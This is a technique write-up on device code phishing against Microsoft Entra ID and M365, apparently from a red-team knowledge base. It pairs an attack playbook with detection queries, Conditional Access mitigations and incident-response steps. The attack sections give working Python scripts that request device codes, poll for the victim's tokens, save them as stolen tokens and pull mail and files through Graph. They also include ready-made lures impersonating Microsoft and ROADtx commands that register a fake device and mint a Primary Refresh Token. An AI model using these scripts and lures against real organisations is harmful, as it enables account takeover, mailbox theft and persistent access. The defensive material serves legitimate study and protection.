| Attribute | Details |
|---|---|
| Technique ID | IA-PHISH-001 |
| MITRE ATT&CK v18.1 | T1566.002 - Phishing: Spearphishing Link |
| Tactic | Initial Access |
| Platforms | Entra ID, M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-02-13 |
| Affected Versions | All Entra ID versions (all Microsoft 365 subscription levels) |
| Patched In | N/A (design-level issue, mitigations via Conditional Access only) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Section 6 (Atomic Red Team) not included because no standardized Atomic test exists specifically for device code phishing (T1566.002 covers broader spearphishing techniques). All section numbers have been dynamically renumbered based on applicability.
Concept: Device code phishing exploits the OAuth 2.0 Device Authorization Grant flow (RFC 8628), a legitimate mechanism designed for devices with limited keyboard input (smart TVs, IoT devices, CLI tools). Attackers initiate a device code flow and trick victims into entering the code on Microsoft’s legitimate sign-in portal (https://microsoft.com/devicelogin), thereby granting the attacker valid authentication tokens without needing the user’s password or triggering multi-factor authentication (MFA). Once tokens are obtained, adversaries can access victim mailboxes, files, and Microsoft Graph API to exfiltrate data or register malicious devices for persistence.
Attack Surface: The attack leverages Microsoft’s legitimate OAuth infrastructure, making detection extraordinarily difficult. No malicious links, attachments, or phishing portals are involved—the victim authenticates against Microsoft’s real authentication servers. Attackers typically deliver phishing messages via Microsoft Teams, WhatsApp, Signal, or internal email, impersonating trusted colleagues, executives, or system administrators.
Business Impact: Critical exposure across the entire M365 tenant. This technique has been validated in production environments and is actively exploited by state-sponsored actors (Storm-2372, attributed to Russian state interests). Initial access can lead to email exfiltration, credential harvesting (usernames, passwords, tokens, admin details found in email), lateral movement to additional accounts via internal messaging, device registration for long-term persistence, and potential compromise of the entire organization if high-privilege accounts are targeted.
Technical Context: Device code phishing campaigns have been active since August 2024, with reported success rates exceeding years of traditional spearphishing efforts combined. The technique bypasses most email security controls (no malicious links, no payloads), defeats MFA in several configurations, and evades Conditional Access policies that fail to explicitly block device code flow. Tokens remain valid for extended periods (hours to days), enabling post-compromise reconnaissance and persistence via Primary Refresh Token (PRT) acquisition through device registration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2 | Lack of MFA enforcement and Conditional Access policy controls enable unauthorized access. |
| DISA STIG | AC-2, AC-3 | Inadequate account management and access control implementation. |
| CISA SCuBA | IdM-1, IdM-2 | Weak identity governance and access management controls. |
| NIST 800-53 | AC-2, AC-3, AC-6, SI-4 | Access enforcement, account management, privilege restrictions, and system monitoring failures. |
| GDPR | Art. 32 | Technical and organizational measures for security of processing are insufficient. |
| DORA | Art. 9 | Protection and prevention measures for ICT risk management fail to address authentication flow vulnerabilities. |
| NIS2 | Art. 21 | Cyber security risk management measures lack multi-factor authentication and access controls. |
| ISO 27001 | A.9.2.3, A.9.4.3 | Failures in management of privileged access rights and authentication mechanisms. |
| ISO 27005 | Risk Scenario: “Compromise of User Authentication” | Inadequate detection and prevention of unauthorized token acquisition. |
Required Privileges:
Required Access:
https://microsoft.com/devicelogin (or equivalent login portal).Supported Versions:
Tools & Environment:
requests library or similar HTTP client.Management Portal / PowerShell Reconnaissance:
Defenders can enumerate device code flow usage by querying Entra ID sign-in logs for authentication protocol deviceCode:
# Query Entra ID Sign-In Logs for device code flows
Connect-MgGraph -Scopes "AuditLog.Read.All"
$deviceCodeFlows = Get-MgAuditLogSignIn -Filter "authenticationProtocol eq 'deviceCode'" -Top 50 | `
Select-Object UserDisplayName, UserPrincipalName, AppDisplayName, IPAddress, CreatedDateTime, Status
$deviceCodeFlows | Format-Table
What to Look For:
PowerShell Command (Azure AD/Entra ID):
# Advanced query using Azure Monitor / Log Analytics
Invoke-AzRestMethod -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns" `
-Method GET | ConvertFrom-Json | `
Where-Object { $_.authenticationProtocol -eq "deviceCode" } | `
Select-Object userDisplayName, appDisplayName, ipAddress, createdDateTime
Version Note: Entra ID sign-in logs have been consistent since Azure AD era; no breaking changes in reporting between versions.
CLI / Azure CLI Equivalent:
# Query device code flows via Azure CLI (requires CLI v2.50.0+)
az ad signed-in-user show --query "id"
# Note: Detailed sign-in log queries require REST API or Kusto Query Language (KQL) in Sentinel/Log Analytics
Supported Versions: Entra ID all versions; M365 all subscription levels
Objective: Generate a valid device code and user code that will be sent to the victim.
Python Script:
import requests
import json
# Attacker's setup - initiate device code flow
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Microsoft Graph PowerShell (public client)
tenant_id = "organizations" # Multi-tenant, no specific tenant required
device_code_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"
# Request device code
payload = {
"client_id": client_id,
"scope": "https://graph.microsoft.com/.default offline_access"
}
response = requests.post(device_code_url, data=payload)
device_code_response = response.json()
# Extract key codes
device_code = device_code_response.get("device_code")
user_code = device_code_response.get("user_code")
verification_uri = device_code_response.get("verification_uri")
expires_in = device_code_response.get("expires_in") # Typically 15 minutes
print(f"[+] Device Code Generated:")
print(f" User Code: {user_code}")
print(f" Verification URI: {verification_uri}")
print(f" Expires In: {expires_in} seconds")
print(f"\n[+] Send user code to victim with phishing message...")
Expected Output:
{
"device_code": "DAQABAAEAv...",
"user_code": "G7QJ-P9T3",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5
}
What This Means:
user_code (e.g., G7QJ-P9T3): The 8-character code attacker sends to victim in phishing message.device_code: The secret code attacker uses to poll for tokens (kept by attacker).verification_uri: The legitimate Microsoft URL where victim will enter the user code.expires_in: Device code validity window (typically 15 minutes / 900 seconds).OpSec & Evasion:
Troubleshooting:
invalid_client (Client ID does not support device code flow)
unauthorized_client (Tenant policy blocks device code)
References & Proofs:
Objective: Deliver the user code to the victim via phishing message and convince them to authenticate.
Phishing Lure Examples (Real-World Storm-2372 Tactics):
========== PHISHING EMAIL 1: Teams Meeting Invite ==========
Subject: You're invited to join "Project Alpha" meeting
Hi Alice,
You've been invited to a Microsoft Teams meeting. To join, please verify your account by entering this code:
G7QJ-P9T3
Go to: https://microsoft.com/devicelogin
This meeting includes sensitive project details, so authentication is required.
Thanks,
Bob (bob@competitor-gov.agency)
========== PHISHING EMAIL 2: Security Verification ==========
Subject: Action Required: Verify Your Account Access
Dear User,
We've detected unusual activity on your account. To restore access, please verify your identity by entering this code on the Microsoft verification portal:
G7QJ-P9T3
Visit: https://microsoft.com/devicelogin
If you don't complete verification within 30 minutes, your account will be locked.
- Microsoft Security Team
========== PHISHING TEAMS MESSAGE ==========
Hey! I found a tool that will help us automate the deployment.
Here's the code to log in: G7QJ-P9T3
Go to microsoft.com/devicelogin and enter it. Your account will be verified in seconds.
Thanks!
Why This Works:
OpSec & Evasion:
Objective: Once victim enters the user code, poll the token endpoint to retrieve the access token.
Python Script (Continued):
import time
# Attacker waits and polls for tokens
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
polling_interval = device_code_response.get("interval", 5) # Poll every 5 seconds
max_attempts = expires_in // polling_interval # Total polling attempts
for attempt in range(max_attempts):
print(f"[*] Polling attempt {attempt + 1}/{max_attempts}...")
token_payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code,
"client_id": client_id
}
token_response = requests.post(token_url, data=token_payload)
token_data = token_response.json()
# Check if victim has authenticated
if "access_token" in token_data:
access_token = token_data.get("access_token")
refresh_token = token_data.get("refresh_token")
id_token = token_data.get("id_token")
print(f"\n[+] SUCCESS! Tokens received:")
print(f" Access Token (first 50 chars): {access_token[:50]}...")
print(f" Refresh Token: {refresh_token[:50] if refresh_token else 'N/A'}...")
print(f" ID Token (User Info): {id_token[:50] if id_token else 'N/A'}...")
# Save tokens for later use
with open("stolen_tokens.json", "w") as f:
json.dump(token_data, f)
break
elif "error" in token_data:
error = token_data.get("error")
if error == "authorization_pending":
print(f" [*] Still waiting for victim to authenticate...")
time.sleep(polling_interval)
elif error == "authorization_declined":
print(f" [!] Victim declined the authentication request. Phishing failed.")
break
elif error == "expired_token":
print(f" [!] Device code expired. Phishing attempt timed out.")
break
else:
print(f" [!] Error: {error}")
break
time.sleep(polling_interval)
Expected Output (On Success):
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...",
"refresh_token": "0.ARQAv...",
"id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...",
"token_type": "Bearer",
"expires_in": 3599,
"scope": "https://graph.microsoft.com/.default"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
authorization_pending (Victim hasn’t entered code yet)
authorization_declined (Victim rejected authentication)
expired_token (Device code expired after 15 minutes)
References & Proofs:
Objective: Use the stolen access token to exfiltrate sensitive data from victim’s M365 account.
Python Script (Continued):
import requests
# Attacker uses stolen access token to access Graph API
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# Example 1: Retrieve victim's emails
print("\n[+] Exfiltrating emails from victim's mailbox...")
emails_url = "https://graph.microsoft.com/v1.0/me/messages?$top=100"
emails_response = requests.get(emails_url, headers=headers)
emails = emails_response.json().get("value", [])
for email in emails[:5]: # Display first 5 emails
print(f" From: {email.get('from', {}).get('emailAddress', {}).get('address')}")
print(f" Subject: {email.get('subject')}")
print(f" Received: {email.get('receivedDateTime')}")
print()
# Example 2: Search for sensitive keywords in emails (Storm-2372 tactic)
print("[+] Searching for sensitive information in emails...")
search_keywords = ["password", "admin", "credentials", "secret", "teamviewer", "anydesk"]
for keyword in search_keywords:
search_url = f"https://graph.microsoft.com/v1.0/me/messages?$search=\"{keyword}\""
search_response = requests.get(search_url, headers=headers)
matching_emails = search_response.json().get("value", [])
if matching_emails:
print(f" [!] Found {len(matching_emails)} emails containing '{keyword}'")
for email in matching_emails[:2]:
print(f" - {email.get('subject')} (from {email.get('from', {}).get('emailAddress', {}).get('address')})")
# Example 3: List user's file shares and OneDrive
print("\n[+] Enumerating user's SharePoint sites...")
sites_url = "https://graph.microsoft.com/v1.0/me/drive"
sites_response = requests.get(sites_url, headers=headers)
user_drive = sites_response.json()
print(f" OneDrive ID: {user_drive.get('id')}")
print(f" OneDrive Quota: {user_drive.get('quota', {}).get('total')} bytes")
# Example 4: List Teams user is a member of
print("\n[+] Enumerating user's Teams...")
teams_url = "https://graph.microsoft.com/v1.0/me/joinedTeams"
teams_response = requests.get(teams_url, headers=headers)
teams = teams_response.json().get("value", [])
for team in teams[:5]:
print(f" - {team.get('displayName')} (ID: {team.get('id')})")
print("\n[+] Exfiltration complete. Tokens saved to 'stolen_tokens.json'")
Expected Output:
[+] Exfiltrating emails from victim's mailbox...
From: ceo@company.com
Subject: Q4 Budget Approval - DO NOT SHARE
Received: 2025-02-10T14:23:00Z
From: sysadmin@company.com
Subject: VPN Credentials - New Policy
Received: 2025-02-09T09:15:00Z
[+] Searching for sensitive information in emails...
[!] Found 12 emails containing 'password'
- IT Password Reset Process (from it-support@company.com)
- Admin Account Credentials for Azure (from cto@company.com)
[+] Enumerating user's SharePoint sites...
OneDrive ID: 01FKZXVN7HFPQRZ...
OneDrive Quota: 1099511627776 bytes
[+] Enumerating user's Teams...
- Executive Leadership
- Security & Compliance
- Engineering
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Entra ID all versions; M365 all subscription levels (Windows 10/11 for device simulation)
Overview: This advanced method chains device code phishing with device registration and Primary Refresh Token (PRT) acquisition, enabling long-term persistence and Conditional Access bypass.
Objective: Generate a device code that, once authenticated, will allow device registration and PRT acquisition.
Python Script:
import requests
import json
# Attacker targets Device Registration Service (DRS) instead of Graph API
client_id = "29d9ed98-a469-4536-ade2-f981bc1d605e" # Microsoft Authentication Broker (first-party, trusted)
tenant_id = "organizations"
device_code_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/devicecode"
# Request device code with DRS resource target
payload = {
"client_id": client_id,
"scope": "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile", # DRS scopes
"response_type": "code"
}
response = requests.post(device_code_url, data=payload)
device_code_response = response.json()
user_code = device_code_response.get("user_code")
device_code = device_code_response.get("device_code")
print(f"[+] Device Code Generated for DRS Registration:")
print(f" User Code: {user_code}")
print(f" Device Code: {device_code}")
print(f"\n[+] Send user code to victim with DRS-targeted phishing message...")
Phishing Lure (DRS-Specific):
Subject: Microsoft Account Security Update - Device Registration Required
Hi Alice,
Your Microsoft account requires device registration to maintain compliance with our organization's policies.
Please verify your device by entering this code:
G7QJ-P9T3
Visit: https://microsoft.com/devicelogin
This will register your device and enable seamless access to organizational resources.
- Microsoft IT Security
Objective: Retrieve access token, refresh token, and ID token for DRS interaction.
Python Script:
# Poll for tokens (similar to METHOD 1, Step 3)
# Key difference: response will include refresh_token and adrs_access scope
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
token_payload = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"device_code": device_code,
"client_id": client_id
}
token_response = requests.post(token_url, data=token_payload)
token_data = token_response.json()
access_token = token_data.get("access_token")
refresh_token = token_data.get("refresh_token")
id_token = token_data.get("id_token")
print(f"[+] Tokens received:")
print(f" Scope: adrs_access (Device Registration Service)")
print(f" Refresh Token: {refresh_token[:50]}...")
# Save for ROADtx device registration
with open(".roadtool_auth", "w") as f:
json.dump({
"access_token": access_token,
"refresh_token": refresh_token,
"id_token": id_token,
"token_type": "Bearer",
"_clientId": client_id
}, f)
print(f"[+] Tokens saved to .roadtool_auth for ROADtx device registration")
Objective: Use the tokens to register a fake hybrid-joined device in Entra ID.
Commands:
# Install ROADtx (https://github.com/dirkjanm/ROADtools)
pip install roadtools
# Initialize ROADtx with saved tokens
roadtx auth load -j .roadtool_auth
# Create a virtual Windows device (no physical hardware needed)
roadtx device create --os-version "10.0.19041.928" --device-name "DESKTOP-MALICIOUS"
# The response will include:
# - Device ID
# - Device certificate and private key (in PEM format)
# - Device enrollment status
roadtx device list
Expected Output:
[+] Device registered successfully
Device ID: 12345678-1234-1234-1234-123456789012
Device Name: DESKTOP-MALICIOUS
OS Version: Windows 10 (10.0.19041.928)
Trust Type: Hybrid Azure AD joined
Compliance Status: Not compliant (expected)
Owner: alice@company.com (victim)
Objective: Exchange the refresh token for a PRT, which grants long-lived, device-bound authentication.
Commands:
# Exchange refresh token for PRT
roadtx prt request --device-id "12345678-1234-1234-1234-123456789012"
# Response includes:
# - PRT (Primary Refresh Token)
# - PRT+R (PRT refresh token)
# - Device key (cryptographic credential)
What This Means:
Objective: Leverage PRT to access victim’s data and maintain persistence.
Example: Access Teams Files with PRT
# Authenticate as victim using PRT
roadtx prtauth --prt-cookie "<PRT_VALUE>" --client "Teams" --resource "https://graph.microsoft.com"
# Response includes new access token valid for Graph API
# Use access token to enumerate teams and exfiltrate files
curl -H "Authorization: Bearer <ACCESS_TOKEN>" \
"https://graph.microsoft.com/v1.0/teams?$expand=channels(\$expand=messages)" | jq
Forensic Evidence of PRT Usage:
Version: 2.0+
Client ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage (Legitimate):
Connect-MgGraph -Scopes "User.Read" -DeviceCode
# Attacker uses the generated device code to phish victim
Version: 0.3.0+
Supported Platforms: Linux, Windows, macOS
Dependencies: Python 3.7+, requests, pycryptodomex
Installation:
git clone https://github.com/dirkjanm/ROADtools.git
cd ROADtools
pip install -r requirements.txt
Usage (Post-Device Code Phishing):
# Load phished tokens
roadtx auth load -j .roadtool_auth
# Register virtual device
roadtx device create --os-version "10.0.19041.928"
# Mint PRT
roadtx prt request
# Authenticate using PRT
roadtx prtauth --client "Teams"
References:
Rule Configuration:
KQL Query:
SignInLogs
| where authenticationProtocol == "deviceCode"
| where resultDescription != "Success" // Initially failed attempts may indicate phishing
| summarize
FailureCount = dcount(TimeGenerated),
SuccessCount = dcountif(ResultSignInStatus, ResultSignInStatus == "0"),
UniqueApps = dcount(AppDisplayName),
UniqueIPs = dcount(IPAddress),
FirstAttempt = min(TimeGenerated),
LastAttempt = max(TimeGenerated)
by UserPrincipalName, IPAddress
| where FailureCount > 2 or (SuccessCount > 0 and UniqueIPs > 1)
| project TimeGenerated = LastAttempt, UserPrincipalName, IPAddress, FailureCount, UniqueApps, UniqueIPs
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Device Code Authentication FlowHighEvery 5 minutesKQL Query:
let deviceCodeAuth = SignInLogs
| where authenticationProtocol == "deviceCode"
| where ResultSignInStatus == "0"
| project TimeGenerated, UserPrincipalName, IPAddress, SessionId = CorrelationId, AppDisplayName;
let graphAccess = SignInLogs
| where AppDisplayName == "Microsoft Graph" or ResourceDisplayName == "Microsoft Graph"
| where ResultSignInStatus == "0"
| project TimeGenerated, UserPrincipalName, IPAddress, SessionId = CorrelationId, AppDisplayName;
deviceCodeAuth
| join kind=inner graphAccess on UserPrincipalName, SessionId
| where TimeGenerated1 < TimeGenerated and (TimeGenerated - TimeGenerated1) between (0s .. 5m)
| project
TimeGenerated,
UserPrincipalName,
DeviceCodeTime = TimeGenerated1,
GraphAccessTime = TimeGenerated,
TimeDiff = (TimeGenerated - TimeGenerated1),
IPAddress
| where TimeDiff < 1m // Suspicious if Graph access happens immediately after device code auth
What This Detects:
Event ID: 4688 (Process Creation) — Limited Relevance
Manual Configuration Steps (Group Policy):
gpupdate /forceNote: Device code phishing attacks primarily manifest in cloud logs (Entra ID Sign-In Logs, Unified Audit Log) rather than Windows event logs, since authentication occurs at Microsoft infrastructure, not locally.
Manual Configuration Steps (Enable Unified Audit Log):
PowerShell Query:
Connect-ExchangeOnline
# Search for device code flows and subsequent Graph API access
Search-UnifiedAuditLog `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-Operations "Consent to application", "Add OAuth2PermissionGrant", "Add service principal" `
-ResultSize 1000 | `
Where-Object { $_.AuditData -like "*device*" } | `
Export-Csv -Path "C:\Audit\device_code_phishing.csv"
What to Look For:
1. Block Device Code Flow with Conditional Access Policy
This is the primary mitigation recommended by Microsoft. Device code flow is high-risk and rarely needed in modern organizations.
Manual Steps (Azure Portal):
Block Device Code FlowVerify Blocking:
# Attempt to use device code flow (will fail with blocked policy)
Connect-MgGraph -Scopes "User.Read" -DeviceCode
# Expected error: "AADSTS53000: Device is not in required device state"
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Identity.ConditionalAccess.Read.All"
# Create Conditional Access policy to block device code
$params = @{
displayName = "Block Device Code Flow"
state = "enabledForReportingButNotEnforced" # Start in report-only
conditions = @{
users = @{
includeUsers = @("All")
}
applications = @{
includeApplications = @("All")
}
authenticationFlows = @{
includeAuthenticationFlows = @("deviceCodeFlow")
}
}
grantControls = @{
operator = "OR"
builtInControls = @("block")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $params
Pros:
Cons:
2. Require Multi-Factor Authentication (MFA) for All Users
MFA does NOT fully prevent device code phishing (victims will still enter MFA codes), but combined with other controls, it raises the bar.
Manual Steps (Azure Portal):
Require MFA for All UsersManual Steps (PowerShell):
$params = @{
displayName = "Require MFA for All Users"
state = "enabled"
conditions = @{
users = @{ includeUsers = @("All") }
applications = @{ includeApplications = @("All") }
}
grantControls = @{
operator = "OR"
builtInControls = @("mfa")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $params
3. Enforce Compliance Device Requirements
Many device code phishing attacks target unmanaged or non-compliant devices. Requiring device compliance can mitigate some variants.
Manual Steps (Azure Portal):
Require Compliant DeviceNote: Attacker can still register a virtual device via ROADtx and claim compliance; therefore, this control should be combined with device registration auditing (Mitigation #6 below).
4. Monitor and Audit Device Registrations
Detect suspicious device registration patterns that indicate ROADtx abuse.
PowerShell Command:
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Find newly registered devices
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Add device'" -Top 100 | `
Select-Object CreatedDateTime, InitiatedByAppId, TargetResources | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-7) } | `
Export-Csv -Path "C:\Audit\new_devices.csv"
What to Look For:
10.0.19041.928 (hardcoded in ROADtx).5. Enable Sign-In Risk Policies
Microsoft Entra ID Protection can detect risky sign-in patterns (impossible travel, atypical locations, etc.).
Manual Steps (Azure Portal):
Sign-in Risk Policy6. Review Registered Applications and Permissions
Audit which applications have been granted permission to access Graph API and other sensitive resources.
PowerShell Command:
Connect-MgGraph -Scopes "Application.Read.All"
# List all OAuth2 permission grants
Get-MgOauth2PermissionGrant -All | `
Select-Object ClientAppDisplayName, PrincipalDisplayName, Scope | `
Where-Object { $_.Scope -like "*Mail.Read*" -or $_.Scope -like "*offline_access*" } | `
Export-Csv -Path "C:\Audit\risky_permissions.csv"
# Review and remove suspicious grants
Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId "<GRANT_ID>"
Azure/Entra ID IOCs:
04b07795-8ddb-461a-bbee-02f9e1bf7b46 Graph PowerShell, 29d9ed98-a469-4536-ade2-f981bc1d605e Auth Broker).10.0.19041.928 (ROADtx signature).Phishing Indicators:
microsoft.com/devicelogin paired with 8-character codes.Cloud/Azure:
authenticationProtocol == "deviceCode" and ResultSignInStatus == "0" (successful)./me/messages, /sites, /teams.On-Premises (If Hybrid):
CN=RegisteredDevices container (if hybrid joined).Immediate Actions (0-15 minutes):
# Revoke all refresh tokens and active sessions for compromised user
Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
# Force re-authentication
Revoke-MgUserSignInSession -UserId "alice@company.com"
# Force password reset on next sign-in
Update-MgUser -UserId "alice@company.com" -ForceChangePasswordNextSignIn $true
# Remove all OAuth2 permission grants for the compromised user
Get-MgOauth2PermissionGrant -All | `
Where-Object { $_.PrincipalDisplayName -eq "alice@company.com" } | `
ForEach-Object { Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $_.Id }
# Find and disable the malicious device
$maliciousDevice = Get-MgDevice -Filter "displayName eq 'DESKTOP-MALICIOUS'"
if ($maliciousDevice) {
Update-MgDevice -DeviceId $maliciousDevice.Id -AccountEnabled $false
}
Containment (15-60 minutes):
# Check what was accessed via Graph API
Search-UnifiedAuditLog -StartDate (Get-Date).AddHours(-4) `
-UserIds "alice@company.com" `
-Operations "Get user mail items", "Get OneDrive items", "Get Teams" | `
Export-Csv -Path "C:\Audit\exfiltration_activity.csv"
# Search for phishing emails sent from compromised account to other users
Get-TransportRule | Where-Object { $_.Name -like "*Device Code*" }
# Review sent items folder for suspicious emails
Search-UnifiedAuditLog -UserIds "alice@company.com" -Operations "Send"
# Disable the registered device to prevent further PRT usage
$device = Get-MgDevice -Filter "displayName eq 'DESKTOP-MALICIOUS'" -ErrorAction SilentlyContinue
if ($device) {
Update-MgDevice -DeviceId $device.Id -AccountEnabled $false
Write-Host "[+] Malicious device disabled: $($device.Id)"
}
Recovery (1-24 hours):
Subject: Account Security Incident - Action Required
We detected suspicious activity on your account (device code phishing attack).
Your account has been secured:
✓ All sessions revoked
✓ Password reset required on next sign-in
✓ OAuth permissions reviewed
No action required from you at this time. If you notice any unusual activity, contact IT immediately.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] | Device Code Phishing — attacker tricks user into entering device code |
| 2 | Credential Access | T1110.004 (Brute Force - Credential Stuffing) or T1056.004 (Keylogging) | Attacker searches emails for passwords, credentials, admin details |
| 3 | Persistence | IA-PHISH-002 / OAuth App Registration | Attacker registers malicious OAuth app with broad permissions OR uses device registration + PRT |
| 4 | Defense Evasion | T1562.008 (Disable or Modify Cloud Logs) | If attacker gains admin access, they delete/modify sign-in logs to cover tracks |
| 5 | Lateral Movement | IA-PHISH-005 (Internal Spearphishing) | Attacker uses compromised account to send device code phishing to other users |
| 6 | Impact | T1537 (Transfer Data to Cloud Account) | Attacker exfiltrates sensitive files, emails, and collaboration data |
Attribution: Russian state-backed threat group (assessed as aligning with Russian government interests)
Target: Government agencies, NGOs, IT services providers, defense contractors, telecommunications, health, education, energy sectors across Europe, North America, Africa, Middle East
Timeline: Active since August 2024, ongoing as of February 2025
Attack Methodology:
microsoft.com/devicelogin: “You’re invited to a meeting, enter this code: G7QJ-P9T3”password, admin, credentials, secret, teamviewer, anydesk).Detected by:
Impact:
References:
Threat Actors: Multiple state-aligned groups (Russia-aligned dominant, suspected China-aligned also active)
Target: Espionage campaigns against government, defense, technology sectors
Technique Variant: Attackers using residential proxies geographically aligned with target regions to further evade detection
Indicators: High volume of device code flow usage from unexpected geolocations; emails with urgency and executive impersonation
References:
┌─────────────────────────────────────────────────────────────────────┐
│ DEVICE CODE FLOW (RFC 8628) │
└─────────────────────────────────────────────────────────────────────┘
ATTACKER'S DEVICE VICTIM'S BROWSER MICROSOFT ENTRA ID
(Linux) (Chrome) (Cloud)
│ │ │
│ │ │
├──────────────────────────────────────────────────────────────>│
│ (1) POST /devicecode │
│ client_id=<PUBLIC_ID> │
│ scope=https://graph.microsoft.com/.default │
│ │
│<──────────────────────────────────────────────────────────────┤
│ (2) Response: device_code, user_code, verification_uri │
│ │
├─────────────────────────────────────────────────────────────> │
│ (3) [PHISHING EMAIL] │
│ "Enter code G7QJ-P9T3 on https://microsoft.com/devicelogin" │
│ │
│ ├───────────────────────────────>│
│ │ (4) Open browser, navigate to │
│ │ microsoft.com/devicelogin │
│ │ │
│ │<───────────────────────────────┤
│ │ (5) Enter user_code (G7QJ-P9T3)│
│ │ │
│ ├───────────────────────────────>│
│ │ (6) Entra ID validates code │
│ │ Shows: "Do you want to sign in?"
│ │ │
│ │ (7) Victim clicks "Yes" and │
│ │ authenticates (password + MFA) │
│ │ │
│<──────────────────────────────────────────────────────────────┤
│ (8) device_code becomes valid; polling returns tokens │
│ │
├──────────────────────────────────────────────────────────────>│
│ (9) POST /token (polling) │
│ grant_type=device_code │
│ device_code=<SECRET> │
│ │
│<──────────────────────────────────────────────────────────────┤
│ (10) Response: access_token, refresh_token, id_token │
│ │
├─────────────────────────────────────────────────────────────> │
│ (11) GET /me/messages │
│ Authorization: Bearer <access_token> │
│ │
│<──────────────────────────────────────────────────────────────┤
│ (12) Response: Victim's emails, files, Teams data │
│ │
✓ ATTACKER NOW HAS ACCESS TO VICTIM'S MAILBOX │
(No malware, no phishing portal, no intercepted credentials) │